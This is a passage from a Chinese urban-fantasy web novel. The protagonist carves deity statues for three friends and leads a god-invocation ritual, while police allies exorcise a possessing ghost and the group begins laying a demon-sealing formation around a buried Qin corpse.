于子朗、郑立和高彦博三人围在一旁,大气都不敢出,眼睛一眨不眨地盯着古德手下那块逐渐成型的木料。
空气中弥漫着一种混合了木香、紧张和期待的奇异氛围。
首先完成的是于子朗的神像。
随着古德最后几刀精妙的勾勒,一个栩栩如生的形象呈现出来。
只见这尊神像身着飘逸的仙官袍服,姿态却并非正襟危坐,而是带着几分随性洒脱,仿佛刚刚云游归来。
他面容清癯,眉宇间透着一股洞察世情的智慧与几分不易察觉的诙谐,右手轻抬,握着一柄象征性的短刃。
仔细看去,这神像的面容,竟与于子朗本人有七八分相似,尤其是那双灵动中带着狡黠的眼睛。
“哇……”于子朗忍不住低呼一声,凑近了些,左看右看,脸上写满了惊奇和好奇。
“阿德,这……这神仙怎么长得跟我这么像?他……他是哪位尊神啊?”
他感觉这神像有种莫名的亲切感。
古德放下刻刀,轻轻吹去神像肩头的木屑,脸上露出一丝意味深长的微笑:
“这就是与你气场最为契合的一位仙君——太白金星。你可听说过?”
“太白金星?”
于子朗眨了眨眼,努力在有限的神话知识库里搜索。
“知道知道!就是那个……经常替玉皇大帝传旨、看起来挺和气的神仙?我感觉相当于……天庭的首席秘书?”
他挠了挠头,有些不确定地问,“他……厉害吗?”
在他印象里,这位好像主要是负责文书和传达工作的。
古德被他的比喻逗笑了,拿起另一块准备好的木料,一边端详着木质纹理,一边纠正道:
“把那个‘吗’字去掉。你以为玉皇大帝的‘首席秘书’,是随便什么神仙都能当的?
太白金星乃是西方金德之星君,主掌杀伐、兵戈,亦司掌人间福祸、延寿增算,是天庭重臣,地位尊崇,神通广大。其性虽常显温和,但内蕴锋芒,洞察秋毫,绝非等闲之辈。”
于子朗听了,恍然大悟,不好意思地傻笑起来:
“嘿嘿,这么说来,是我想岔了。这么一位大佬,听起来是挺厉害的!”
想到这样一位仙君可能与自已契合,他不由得有些兴奋。
“好了,静心。”
古德示意他稍安勿躁,将注意力转向了第二块木料。
这块木头,是为郑立准备的。
也是他的大号申公豹。
不过,并非传统演义中那个骑着白额虎、惯用宝剑开天珠的申公豹,而是某部电影中那个更具暗黑、酷炫风格的独特形象。
古添乐演的这个版本申公豹,坐骑是一头威猛神秘的巨型黑豹,与主人浑然一体,被网友戏称申公豹骑申公豹。
这申公豹的武器也并非宝剑,而是一条灵动诡谲的长鞭,象征其掌控与束缚之力。
虽然这个形象有些“非主流”,但其展现出的冷酷、果决、为达目的不拘一格的特质,以及强大的实力,恰恰也是能让郑立立马拥有强大的战斗力。
思绪流转间,古德手腕运力,刻刀如笔走龙蛇。木料在他手下逐渐剥离出清晰的轮廓:
一个身披铠甲、身形挺拔的男子,跨坐于一头肌肉虬结、目光凶戾的黑色巨豹之上。
男子面容冷峻,线条硬朗,眉宇间凝聚着一股挥之不去的杀气与孤傲,仔细看去,那眉眼竟也与郑立有七八分神似,只是气质截然不同,充满了霸气和压迫感。
当古德将这座充满暗黑酷炫风格的神像轻轻放在桌上时,郑立的两只眼睛简直在放光!
他迫不及待地凑上前,围着神像转了一圈,激动地声音都有些发颤:
“阿德!这……这位神仙太帅了!他……他是什么名号?”
这造型,这气场,完全符合他心中对强大守护神的想象。
古德吹了吹指尖沾上的木屑,平静地吐出三个字:“申公豹。”
“申公豹?”
郑立愣了一下。他对这个名字的印象比较模糊,只知道是封神演义里的一个反派角色。
他心里有些嘀咕:为什么适合我的神仙,会是个……有点反派色彩的呢?
古德没有多做解释,只是示意于子朗和郑立:“把这些木屑清理一下,保持场地整洁。”
有些缘法,需要他们自己去体会和领悟。
就在这时,一直在旁边沉默观察、内心经历了激烈斗争的高彦博,终于深吸一口气,向前迈了一步,神色坚定地开口:
“阿德,我考虑好了。”
古德停下手中的活计,抬头看向他,目光平静,等待着他的决定。
高彦博迎着古德的目光,语气沉稳而坚决:
“我不想错过这次机会。或许这条路充满未知和危险,但与其在懵懂无知中被动承受恐惧,不如主动掌握一些力量,去理解和面对它们。我愿意踏入这个领域,学习请神术。”
他身为法证专家的理性告诉他,了解并掌握规律,才是应对未知最
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好的方式。
古德脸上露出了欣慰的笑容。
高彦博的加入,无疑让接下来的行动增添了重要的砝码。
而且,对于高彦博适合请哪位神明,古德心中早已有了最佳人选,那就是钟馗!
虽然高彦博的大号,欧阳胖胖演过不少神仙,但是目前最适合的还是钟馗。
原因无他,地下墓穴中正封印着一柄关键的钟馗宝剑!
这说明当年那位道长设计**秦尸时,钟馗之力是重要的克制手段。
若能让高彦博请得钟馗神韵,再由他手持那柄真正的钟馗宝剑,无疑是珠联璧合,对付秦尸的胜算将大大增加!
而钟馗刚正不阿、专司捉鬼驱邪的个性,也与高彦博追求正义、探寻真相的职业精神颇为契合。
“好!”古德点头,“既然如此,就算你一个。”
他立刻拿起第三块上好的黄花梨木,凝神静气,刻刀再次飞舞。
这一次,他雕刻的形象回归了传统正神的庄严肃穆:一位豹头环眼,铁面虬髯,身着官袍,相貌威武凶猛,却不失正气凛然的神祇形象逐渐显现。
虽然造型传统,但古德在刻画面部细节时,巧妙地融入了几分高彦博那儒雅中带着坚毅的神韵,使得神像在威严之余,又多了几分内敛的智慧感。
高彦博一眼就认出了这尊鼎鼎大名的神祇。
赐福镇宅圣君钟馗!
他的心情瞬间激动起来,不自觉地向前走了两步,目光灼灼地盯着神像。
钟馗嫉恶如仇、护佑百姓的刚烈性格,与他内心坚守的正义感产生了强烈的共鸣!
他万万没想到,自己竟有机会与这样一位声名赫赫的尊神结缘!
随着最后一刀收起,三尊各具特色、却都灵性初显的神像并排置于木工桌上,在夕阳下泛着温润的光泽。
太白金星的飘逸睿智,申公豹的冷峻霸气,钟馗的威武刚正,形成了一种奇妙的平衡与张力。
古德拍了拍手上的木屑,满意地欣赏着自己的作品,点了点头。
“不错,神韵初具。”
他转向三位心情各异的“准请神者”,吩咐道:
“你们三个,先把院子彻底打扫干净,特别是这些木屑,要清理妥当。然后,立刻去找钱老板,让他帮忙准备三牲祭品、时令水果、清茶淡酒、以及上好的香烛。记住,要快,我们时间不多了。”
于子朗、郑立和高彦博闻言,立刻压下心中的激动与纷杂的思绪,齐声应道:“明白!”
随即迅速行动起来,拿起扫帚清理院子,然后快步向院外走去,准备前往钱府筹措法事用品。
三人的脚步都带着几分急切...
第154章 周星星和马季捉鬼
就在古德于四合院中全神贯注雕刻神像、筹备请神仪式的同一时间,岛屿的另一端,肃清行动也在紧张地进行着。
周星星带着马季,以及飘浮在马季身旁、灵体状态依旧有些萎靡但强打精神的石敢当,根据村民提供的线索,来到了一处位于村落边缘的废弃双层小洋房前。
这小屋看起来荒废已久,外面的墙壁爬满了潮湿的霉斑和藤蔓,窗户玻璃破碎,黑洞洞的窗口像一只只窥探的眼睛。
空气中弥漫着一股木材腐烂和某种难以言喻的阴湿气味。
“就是这里了,”周星星压低声音,指了指小屋,“有村民说这个地方很早以前就是一个鬼宅,**不少人,不过一般没人进去也不会出事。”
他话音刚落,从小屋二楼突然传来一阵尖锐的女人惊叫声,紧接着是重物倒地和男人粗暴的吼骂声!
“救命啊!放开我!”
“臭婆娘!还敢跑!老子**你!”
周星星眉头一皱,暗骂一声:“丢!还真有不怕死的跑来这种鬼地方搞事?”
他来不及多想,对马季使了个眼色,“小马哥,有情况!跟我上!”
马季反应极快,他瞬间进入了战斗状态。
他双手一翻,两把造型奇特、枪身铭刻着简单破邪符文的特**已握在手中。
这是部门为他量身打造的灭魂枪2.1,虽然威力不如古德的符箓玄妙,但对付一般鬼物都颇有奇效。
石敢当也警惕地悬浮起来,散发出微弱的灵光,准备随时策应。
周星星一马当先,猛地踹开那扇摇摇欲坠的木门,冲了进去。
屋内光线昏暗,灰尘弥漫,地上散落着破碎的家具和杂物。
声音来自二楼,周星星毫不犹豫,沿着吱呀作响的木楼梯冲了上去。
二楼的景象更加狼藉。只见一个穿着工装、面色狰狞、双目赤红的壮硕男人,正挥舞着一把生锈的消防斧,疯狂地追砍着一对吓得魂飞魄散、衣衫不整的年轻男女。
那对男女看起来像是来岛上游玩的情侣,此刻正狼狈地躲闪、尖叫,险象环生。
“住手!警察!放下武器!”
周星星见状,立刻大喝一声,声震屋瓦,试图震慑对方。
同时,他暗中运转古德传授的开眼法诀,眼中闪过一丝常人难以察觉的精光。
法眼一开,景象骤变!
他清晰地看到,那个挥舞斧头的男人背后,紧紧贴着一个面色青黑、满脸怨毒的男鬼!
这男鬼的双手如同虚影般操控着男人的手臂,而男人的双脚脚跟诡异地点起,正是被鬼上身的典型特征!
那附身的男鬼也察觉到了周星星的目光,它扭过狰狞的鬼脸,阴恻恻地笑了起来,声音尖锐刺耳:
“嘿嘿嘿……又来了一个不知死活的差佬!我就不放武器,你能拿我怎么样?正好,连你们一起砍了,给我作伴!”
它身上的怨气浓重,显然是个害过人性命的厉鬼!
此时,马季也**冲了上来,双枪稳稳指向被附身的男人。
但他很快发现了问题,皱眉对周星星说:“阿星,这鬼东西附在活人身上,怎么办?直接开枪可能会伤到被附身者。”
周星星却是不慌不忙,嘴角甚至还勾起一抹痞痞的笑容。
他伸手从他那件标志性的长风衣内侧,利落地抽出两根可以拼接的短棍,“咔哒”一声接合成一根长约两米的打鬼棒。
楼上空间很大,就不用拆分两根打鬼棒,已经完全可以施展开来。
接着,他又掏出两张绘制着朱砂符文的斩鬼符,“啪”“啪”两声,精准地贴在打鬼棒的两端。
符纸一贴上,打鬼棒表面立刻流转起一层淡淡的金光。
他熟练地转了个棍花,对马季挑了挑眉,语气带着几分炫耀:
“瞧好了,小马哥!这是阿德特制的斩鬼符,配合这打鬼棒,专打邪祟,劲道透阴不透阳,只会痛揍附身的鬼魂,不会伤到被附身的人体!看我怎么把这死鬼从里面揍出来!”
他顿了顿,又补充道:
“你盯紧点,等我把它逼出来,你看准机会给它一枪,把它打残就行,别直接打散了。这可是个厉鬼,能量不弱,抓回去交给阿德,能换不少阴德呢!直接打散太浪费了!”
说完,周星星将目光投向那个被附身、正对他龇牙咧嘴的厉鬼,勾了勾手指,略带挑衅的语气说道:“喂,死鬼,口气挺大嘛!来啊,过来陪你周爷爷玩玩,让我看看你的本事是不是跟你的臭嘴一样硬!”
那厉鬼何时受过这等挑衅?
它生前估计就是个暴戾之徒,死后怨气更盛,顿时怒不可遏,操控着被附身的男人,发出一声不似人声的咆哮,举起消防斧,以一种僵硬却充满蛮力的姿态,朝着周星星猛冲过来,斧头带着风声狠狠劈下!
“来得好!”
周星星眼神一凝,身形灵活地向侧后方滑步,轻松避开了这直来直去的一斧。
同时,他左手握棒向前一探,格开斧柄,右手握着的打鬼棒顺势如同毒蛇出洞,精准地一棒戳在男人的腹部!
“嗷呜!”
一声凄厉的鬼嚎响起,那厉鬼显然没料到这棍棒竟然能直接伤害到它!
棍棒上的斩鬼符金光一闪,一股灼热的破邪之力透体而入!
周星星得势不饶人,脚下步伐变幻,如同穿花蝴蝶,打鬼棒舞得虎虎生风,左一棒敲在肩胛,右一棒扫过腿弯,专挑阴气汇聚之处下手。
他边打边嘴里还不闲着:
“怎么?就这点能耐?刚才不是挺嚣张的吗?”
“哎呀,打你就打你,还要挑日子吗?”
那厉鬼被打得惨叫连连,附身的男人身体也跟着剧烈抽搐,显然痛苦不堪。
它意识到再附身下去只会被动挨打,猛地发出一声尖啸,一股黑气从男人头顶冒出,瞬间脱离了附身状态!
那被附身的男人如同虚脱一般,双眼翻白,软软地瘫倒在地,人事不省。
而那团黑气则在半空中凝聚成厉鬼原本狰狞的模样,怨毒地瞪了周星星一眼,身形一晃,就要遁走!
“想跑?问过我的枪没有!”
早已蓄势待发的马季眼中精光一闪,捕捉到这转瞬即逝的机会!
他几乎是本能反应,右**口微调,“砰”的一声低沉枪响!
一颗蕴含微弱破邪法力的特制**呼啸而出,精准地击中了那团试图逃窜的黑气!
“啊——!”
厉鬼发出一声更加痛苦的哀嚎,魂体被打得一阵剧烈波动,阴气肉眼可见地溃散了一小半。
它不敢再停留,化作一道黑烟,“嗖”地一下钻进了墙壁上一面布满裂纹、蒙着厚厚灰尘的老旧半身镜里,消失不
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见。
周星星和马季立刻冲到那面镜子前。
石敢当也飘了过来,他刚才一直没有出手,一方面是保存灵体力量,另一方面也是有意让马季多积累些实战经验。
他悬浮在镜子前,感受着上面残留的浓重阴气,用低沉的声音说道:
“这面镜子……应该是这厉鬼死亡时强烈依附的物体,或者就是它的葬身之所。天长日久,已经被它炼成了一个小型的‘鬼巢’。它现在躲在里面,借助鬼巢的阴气修复伤势,很难强行逼出来。”
马季看着那面仿佛能吞噬光线的镜子,皱了皱眉,问周星星:
“阿星,这鬼躲进老巢里了,你有什么办法把它弄出来吗?总不能把这镜子砸了吧?”
他担心砸了镜子可能会引发不可预料的后果,或者让厉鬼逃到更麻烦的地方。
周星星看着马季,有些无奈地叹了口气,用一副“恨铁不成钢”的语气说道:
“小马哥啊小马哥,不是我说你!你好歹也是修炼了呼吸法,体内有法力的人了!怎么就不肯跟阿德多学几手法术呢?整天就知道玩你的双枪!”
马季被他说得有些不好意思,憨憨地挠了挠头,辩解道:
“哎呀,阿星你也知道,我一看到那些复杂的符咒口诀就头大,还是这玩意儿实在!”
他说着,还熟练地转了一下手中的双枪,还吹了一口枪口。
“阿德告诉我一个词,他说双枪会告诉我答案,我觉得很适合我。”
周星星翻了个白眼,也懒得再说他。
他伸手又从风衣内侧摸索出两张五雷符!
他把符纸递给马季,说道:
“喏,别说哥不照顾你。给你个简单粗暴的法子,那就是用你的法力激发这两张五雷符,贴在镜子上。
雷电之力至阳至刚,是这些阴秽之物的克星,尤其擅长穿透这种阴气凝聚的巢穴。保证电得那死鬼哭爹喊娘,自己跑出来!”
马季接过五雷符,感受到符纸上传来的强大的能量波动。
他刚想依言行事,突然觉得有点不对劲,扭头看向周星星:
“等等……阿星,这符你会用吧?你怎么不自己来?”
周星星脸上立刻露出那种“你懂的”的狡猾笑容,嘿嘿一笑,拍了拍马季的肩膀:
“哎哟,小马哥,能者多劳嘛!你法力比我深厚多了,这种消耗大的活儿,当然是你来更合适啦!我在旁边给你压阵,保证安全!”
他这话半真半假,既有偷懒的成分,也确实觉得马季法力更充盈,效果更好。
马季对周星星这种甩锅行为早已习惯,无奈地摇了摇头,也知道现在不是计较的时候。
他深吸一口气,集中精神,调动起体内积攒的法力,将其缓缓灌注到手中的五雷符中。
随着法力的注入,那两张五雷符顿时亮起了更加耀眼的电光,符纸上的雷纹仿佛活了过来,发出“噼啪”的轻微爆响!
马季看准时机,低喝一声,双手齐出,将两张激活的五雷符稳稳地拍在了那面阴气森森的半身镜镜面上!
“滋啦啦——!”
符纸接触镜面的瞬间,刺眼的蓝色电光猛然爆发!
如同数条细小的电蛇,瞬间爬满了整个镜面,发出令人牙酸的电流声!
强大的雷霆正气疯狂地涌入镜中,冲击着那个阴森的鬼巢!
第155 章 准备开始请神
“滋啦啦——!”
刺眼的蓝色电光在布满灰尘的镜面上疯狂跳跃,发出令人牙酸的爆鸣声。
五雷符中蕴含的至阳至刚的雷霆之力,如同烧红的烙铁侵入冰水,猛烈地冲击着镜中阴森鬼巢的平衡。
“啊——!!!”
一声凄厉到不似人声的鬼嚎从镜子深处传来,充满了极致的痛苦与恐惧。
那声音尖锐刺耳,仿佛能穿透耳膜,让一旁瘫倒在地的那对年轻情侣都不由自主地捂住了耳朵,面露极度惊恐。
紧接着,光滑的镜面上开始出现细密的裂纹,如同蛛网般迅速蔓延开来。
“咔嚓……咔嚓……”玻璃碎裂的声音不绝于耳。
“砰!!!”
终于,在一声沉闷的爆响中,那面承载着厉鬼巢穴的梳妆镜彻底碎裂开来,玻璃渣子溅了一地。
一股浓烈的、带着焦糊味的青黑色烟尘从破碎的镜框中汹涌而出,在空中扭曲翻滚了几下,随即如同被风吹散的蒲公英,迅速变得稀薄、透明,最终彻底消散在空气中。
镜子里那令人毛骨悚然的惨叫声,也随着青烟的消散而戛然而止。
整个废弃小屋的二层,瞬间陷入了一种诡异的寂静,只剩下呼吸声和窗外隐约的海浪声。
一直悬浮在旁警戒的石敢当,灵体微微感应了一下,用他那带着些许回音的沉稳声音说道:
“阴气源消失了,魂体波动也感觉不到了。那个厉鬼……应该是被至阳雷法直接轰散了魂魄,形神俱灭了。”
“啊?!形神俱灭?!”
周星星一听,脸上的得意瞬间僵住,转而变成了一副痛心疾首的表情,他捶胸顿足地哀嚎起来:
“丢!完蛋了!用力过猛了啊!小马哥!你看你!让你用电符,没让你往死里电啊!这可是一只厉鬼啊!
抓回去交给阿德,起码能换好多阴德,现在好了,直接电成灰了!**都不剩一根!亏大了!真是亏到姥姥家了!”
马季看着周星星那夸张的、如同丢了百万彩票般的表情,有些不好意思地挠了挠头,讷讷地解释道:
“这个……阿星,我也没想这样……就是感觉法力灌注进去,它自己就……就爆发了。可能是我最近法力涨了点,没控制好力度……”
他对手上力量的掌控,确实不如对枪法那么精细。
周星星唉声叹气了好一阵,才勉强接受血本无归的现实。
他摆摆手,指挥跟着他们一起来的一名后勤支援警员:
“算了算了,人没事就好。阿发,你负责把这三个倒霉蛋安全送回村里安置好,给他们检查一下,压压惊。问问他们怎么回事,跑这鬼地方来干嘛,做好记录,顺便让古医生过来把死在这里的几个人也带走。”
名叫阿发的年轻警员连忙点头,上前搀扶起那三个惊魂未定的人,然后小心翼翼地带他们下楼离开。
周星星则依旧是一副“损失惨重”的郁闷表情,招呼着马季和石敢当:
“走了走了,小马哥,石敢当,我们去下一个地点。海边那边还有渔民报告说晚上看到水鬼拖人,得去瞧瞧。希望下次能遇到个耐打一点的,别再一不小心就弄没了……”
他嘴里嘀嘀咕咕,显然还对那蒸发的阴德念念不忘。
就在他们一行人走出废弃小屋,来到外面相对开阔的村道时,周星星突然心念一动,脚步不由自主地顿了一下。
一种奇异而熟悉的感应如同细微的电流般掠过他的心头。
那感觉,很像他之前成功请到“齐天大圣”一丝神念附体时的共鸣,但又有些不同,更加宏大、飘渺,仿佛来自极其遥远的地方。
他下意识地停下
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脚步,抬头望向村落中心的方向,也就是古德他们所在的那个四合院的方位。
夕阳的余晖给远处的屋顶镀上了一层金边,但除此之外,他什么也看不到。
“奇怪……是德仔那边在搞什么大动作吗?这动静……感觉不小啊。”
周星星摸了摸下巴,心里嘀咕着,隐隐觉得古德可能又在施展什么不得了的手段。
但他现在任务在身,也没时间多想,摇了摇头,带着马季和石敢当继续朝着海边的方向走去。
与此同时,村落中心的四合院内。
古德已经将一间较为宽敞、安静的厢房彻底打扫干净,作为临时的法坛。
房间中央摆着一张八仙桌,桌上铺着明黄色的桌布。
上面摆放着三尊刚刚雕刻完成、散发着黄花梨木清香的神像。
太白金星、申公豹、钟馗被恭敬地放置在桌案中央,面朝南方。
于子朗、郑立、高彦博三人,则并排跪在桌案前的三个蒲团上。
他们的心情既激动又紧张,甚至带着几分虔诚。
尤其是高彦博,这位一向理性的法证专家,此刻感受到一种难以言喻的庄严氛围,仿佛即将叩开一扇通往全新世界的大门。
古德神色肃穆,亲手将准备好的三牲祭品、时令鲜果、清茶淡酒一一摆放在神像前。
然后,他取出九根上好的长香,用手指轻轻一捻,香头便无火自燃,散发出清幽的香气。
他将点燃的长香分成三份,郑重地递给于子朗、郑立和高彦博每人三根。
“凝神静气,心怀敬畏与诚念,朝着你们对应的神像,拜三拜,然后将香插入香炉。”
三人依言照做,恭敬地拜了三拜,然后将手中的长香小心翼翼地插入各自神像前的紫铜香炉中。
青烟袅袅升起,在房间内盘旋。
第156 章 三神会面
接着,古德又取出三张绘制着复杂云篆的请神符,分发给三人。
“接下来,跟着我念诵请神咒,心要诚,意要专。”
他率先开口,声音带着一种奇特的韵律,仿佛与冥冥中的某种存在共鸣:
“道由心学,心假香传。香焚玉炉,心存帝前。真灵下盼,仙旆临轩。弟子关告,径达九天。”
于子朗、郑立、高彦博三人也收敛心神,摒弃杂念,跟着古德一字一句,清晰地念诵起来。
他们的声音起初有些生涩,但渐渐融入了一种共同的频率。
神奇的一幕再次发生了!
只见那从三座香炉中升起的三缕青色烟柱,原本是随意飘散的,此刻却仿佛被一股无形的力量牵引,骤然变得笔直如线,凝而不散,径直向上攀升,穿透了屋顶的瓦片,仿佛要直达九霄云外!
就在这香烟沟通天地的刹那,在某个凡人无法感知、无法理解的高维层面,三个庞大、古老而威严的神,被这蕴含着特定频率与诚念的香火信标所吸引,缓缓地将“目光”投向了这个位于茫茫星海中的世界。
接着三个意识团出现在了这个世界之外。
这三个意识团彼此之间似乎也察觉到了对方的存在,意念交汇间,流露出些许惊讶和玩味的情绪。
【咦?两位道友同临此界?倒是巧了。】
一个温和中带着几分诙谐的意念率先响起。
【本座感应到一丝本源香火,故而降临一缕神识。看来此界颇有意思。】
另一个冷峻而霸道的意念回应。
【这世界怨气冲霄,鬼魅横行,看来是出了大问题。】
第三个刚正宏大的意念加入。
三个意识团短暂交流,并无冲突,反而有种默契。
忽然,那个温和的意念带着笑意传递信息:
【有趣。在此界气息中,吾感应到,不久前似有一猴头与一和尚的气息残留,看来也曾降临。
此界因果,颇不简单。诸位道友,可有兴趣陪本仙看看,此界会因吾等一丝神念,变得如何有趣?】
【妙极!!】
【除恶务尽,正合某家心意!】
三位存在似乎达成了某种共识,觉得这事挺有意思。
于是,各自从那浩瀚无边的本体意识中,分离出一丝极其微弱、却带着其本源特质的神念,顺着那三缕笔直的青色烟柱,如同顺着缆绳滑降一般,精准地投向了下界那三尊与之对应的神像。
然而,就在神念即将降临的瞬间,那个温和的意念似乎察觉到了什么更深层的东西,突然发出一声轻咦:
【嗯?此界……根基有异!有意思,真有意思!看来,又是某个西方教的家伙算计,不过这次他们可能要跳脚了。吾等便静观其变,看一场好戏吧。】
另外两个意念闻言,也仔细感应了一下,却似乎未能完全洞察,只是模糊地感觉到此界确实有些不寻常,但具体为何,以降临的这一丝神念之微弱,还难以看清。
它们也未多问,神念已然顺着香火通道,完成了降临。
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四合院厢房内。
在于子朗、郑立、高彦博三人念完请神咒的瞬间,他们同时感到浑身微微一震!
一种难以言喻的、温暖而磅礴的气息,仿佛从九天之上灌注而下,通过他们手中的请神符,流遍他们的四肢百骸,最终与他们面前的神像建立了一种微弱却真实存在的玄妙联系!
“感觉到了!阿德!我感觉到……神像……好像在呼吸!”
于子朗第一个激动地叫出声来,他感觉自己的思维似乎都清晰灵动了许多。
“我也是!有一种……很冷,但是很强大
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的力量,在神像里!”
郑立也兴奋地喊道,他感觉体内似乎多了一丝以往没有的锐气和胆魄。
“浩然正气……荡涤邪祟……这种感觉……好奇妙!”
高彦博感受最为深刻,那中正平和又威严无比的气息,让他心生敬畏,同时又感到无比的安心。
古德看着三人成功与神像建立了初步联系,脸上露出了满意的笑容。
他知道,最艰难的第一步已经成功迈出。他拍了拍手,对三人说道:
“很好!请神仪式初步成功,你们已经与对应的神明建立了一丝微弱的信仰通道和联系。但这只是开始。”
他的语气变得严肃起来:
“接下来你们的任务,就是抓紧时间,与你们的神像朝夕相处,用心沟通,加深联系,熟悉如何引导和运用这一丝神念的力量。
这就是‘请神术’的修炼过程。你们是我为应对这次秦尸准备的重要底牌之一,千万不要懈怠!”
“明白!”“放心吧阿德!”“我们一定努力!”
三人异口同声地回答,脸上充满了决心和期待。
古德点点头:
“好了,现在各自抱着你们的神像,去找个安静的房间,好好‘培养感情’吧。记住,心诚则灵。”
于子朗、郑立和高彦博如同捧着绝世珍宝一般,小心翼翼地各自抱起属于自己的神像,迫不及待地去找房间进行深度沟通了。
看着三人离开,古德轻轻舒了口气。
准备工作又完成了一项。接下来,他该去办另一件重要的事情了。
去找那位“土财主”钱老板。
“是时候去‘拜访’一下钱老板,看看他祖上还有没有留下的其他宝贝,毕竟他祖上可是抢了一艘贡船。”
古德摸了摸下巴,嘴角勾起一抹笑容,心安理得的准备去**。
第157章 九曜缚龙·玄枢镇魔大阵
农历七月十一,清晨。
海岛上空笼罩着一层薄薄的雾气,阳光挣扎着穿透云层,给岛屿披上了一层朦胧而略显压抑的光纱。
空气中弥漫着海腥味和一种若有若无的、让人心神不宁的沉闷气息。
在岛屿深处,一处被列为禁区的盆地边缘,古德一行人肃然而立。
这处盆地地势低洼,四面环抱着不高不矮的山丘,形成了一种天然的封闭格局。
盆地入口处常年有村民轮流看守,禁止外人进入,更添几分神秘。
古德今天换上了一身颇为醒目的金黄色运动服,在灰暗的背景下显得格外突出。
他双手插在口袋里,站在盆地边缘一块凸起的岩石上,目光沉静地俯瞰着整个盆地。
他的眉头微微蹙起,这里的景象比他预想的还要糟糕。
放眼望去,盆地内部寸草不生,与周围山丘的郁郁葱葱形成了鲜明而诡异的对比。
土地是那种不祥的深黑色,像是被墨汁浸染过,又像是被大火焚烧殆尽后留下的灰烬,表面干裂,了无生机。
一种死寂、阴冷的感觉从盆地深处弥漫开来,即使站在边缘,也能感到一股若有若无的寒意顺着脚底往上爬。
在盆地的最中心位置,有一个用白色石块镶嵌而成的、直径约五米的巨大太极图案。
这图案在漆黑的土地上异常醒目,但仔细看去,白色的石块似乎也蒙上了一层晦暗,失去了原本应有的光泽。
太极图周围的地面,隐约能看到一些复杂的符文痕迹,但大多已被岁月和某种力量侵蚀得模糊不清。
古德的身旁,站着神情凝重的谢潮,他依旧是一身利落的黑色皮衣,眼神锐利地扫视着盆地内的每一个细节。
周星星则穿着他那件标志性的米色风衣,嘴里叼着一根没点燃的牙签,看似随意,但眼神里也收起了平日的跳脱,多了几分严肃。
于子朗和马季站在稍后一点的位置,于子朗好奇地东张西望,马季则习惯性地检查着随身携带的双枪和装备。
他们身后,是几名“异灵灵异部门”的后勤人员,抬着几个沉重的木箱和装备。
更外围的区域,则由莫作栋带领着其余后勤人员以及钱老板派来的几十名精壮村民负责警戒,防止闲杂人等靠近,也提防可能从其他地方窜出来的邪祟。
郑立和高彦博没有跟随前来,他们按照古德的吩咐,留在四合院内,抓紧时间与各自的神像进行深度沟通,熟悉请神术的运用,他们是古德预留的关键底牌。
古德抬起手腕,看了一眼那块老式机械表,又抬头望了望天色,心中默默推演。
片刻后,他转过身,对身边的谢潮、周星星等人说道:
“根据钱老板提供的线索和我的勘察,盆地中央那个太极图下面,就是封印那具秦尸的巨大竖井入口。”
他的声音不高,但在寂静的清晨显得格外清晰。
他顿了顿,语气变得更加凝重:
“今天日子特殊,是庚申日。在干支历法中,庚属金,申亦属金,天地间的肃杀之气今日最为鼎盛。而我们动手的最佳时辰,必须选在申时,也就是下午三点到五点之间。
届时,太阳运行至昴宿,金气将达到巅峰,形成‘金风破煞’的天象,最能克制阴邪尸气。”
他指向天空,进一步解释道:
“我们要卡在申时正刻,也就是下午四点整。那个时候,日头已经开始西斜,但角度恰好能让阳光形成一道光柱,直射入井底。
我们要利用这天时地利,逼那秦尸在它力量并非最巅峰、且受天象克制的时候,提前破关而出!这样我们才能占据先机!”
接着,古德将目光重新投向盆地,虽然此地阴邪,但他风水大家的眼光,却看出了其中蕴含的另一种可能性。
他指着盆地的地形,分析道:
“大家别光看这里阴气重。从风水上讲,这处盆地其实是一处天然形成的‘四象抱一’格局。你们看,东侧那片虽然稀疏但依旧成林的树木,可视为青龙位;
西边那些散乱的嶙峋怪石,可作为白虎位;南面那块略高的坡地,是朱雀位;北面那片低洼积水之地,正好对应玄武位。而中央的太极井,就是整个格局的核心阵眼,风水上称为‘黄庭’所在!”
他的语气中带着一丝把握:
“虽然如今这格局被阴煞之气污染,成了养尸地,但根基犹在。只要我们手段得当,稍加改造和引导,就
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能化弊为利,将这里布置成一个强大的复合阵法,反过来压制井中的邪物!这恰恰可以转化为我们的优势!”
周星星听着古德引经据典、指点江山,眼睛里直冒小星星,忍不住低声对于子朗感叹:
“哇!太酷了!阿德这风水算术真是神了!就这么一指一点,分析得头头是道,简直胜过千军万马啊!不行,这次回去我得好好跟他学学这手,太有型了!”
于子朗用手肘轻轻捅了他一下,笑着低声调侃道:
“喂,阿星,你当初不是最讨厌读书,说什么‘字认识我,我不认识它’,才跑去考飞虎队的吗?怎么现在为了装……呃,为了提升自我,连这么深奥的风水算术都肯学了?太阳打西边出来了?”
周星星脸不红心不跳,一本正经地胡诌:
“切!你那都是老黄历了!我当年那是觉得普通的读书太没有挑战性,体现不出我的聪明才智,才去飞虎队磨练一下身手。
要不然,以我的天赋,早就读成博士了!现在学风水,那是为了追求更高层次的知识,懂不懂?”
古德听到两人的嘀咕,淡淡地瞥了他们一眼。
周星星和于子朗立刻像被老师抓到的小学生一样,缩了缩脖子,赶紧闭嘴,做出认真听讲的样子。
古德不再理会他们,拍了拍手,声音提高了一些:
“好了,闲话少说。时间紧迫,开始布阵!把准备好的法器都拿出来!”
众人闻言,立刻行动起来。
谢潮和周星星指挥着后勤人员,将带来的几个大木箱打开。
里面装着的,是昨天晚上古德“拜访”过钱老板后,由钱老板“慷慨解囊”(当然,也拉上了岛上另外两大家族一起分摊),紧急筹措材料,然后古德带着众人连夜赶工制作出来的一系列布阵法器。
虽然制作仓促,但用料扎实,符咒均由古德亲手绘制,用于这次性的法阵足以应付。
此次古德要布置的,乃是他结合《青囊中书》LV2的学识以及昨天晚上新点亮的技能《华夏阵法大全》LV2,精心推演出的一个复合型除魔大阵“九曜缚龙·玄枢镇魔大阵”!
当然,公里点数也少了110。
第158章 开始布阵
何为九曜缚龙·玄枢镇魔大阵?
九曜:对应天之九星(日、月、金、木、水、火、土、罗睺、计都),代表力量源自浩瀚星宿,宏大而精准,根基牢固。
缚龙:目标明确,指的是专为束缚、压制那具已成气候、电影里能飞天遁地的秦尸(其势已如“地龙”)。
镇魔:功能全覆盖,旨在**一切妖魔邪祟,确保万无一失。
玄枢:意指阵法核心沟通天地枢纽,调动本源之力。
只见谢潮和周星星等人,首先从箱中请出了五面气息凝重的旗幡。
首先是四方镇魔旗:
旗面采用玄色(黑中带微红)的真丝制成,光滑而坚韧,不易沾染污秽。
旗杆则是珍贵的百年雷击桃木,天生蕴含破邪雷霆之气。
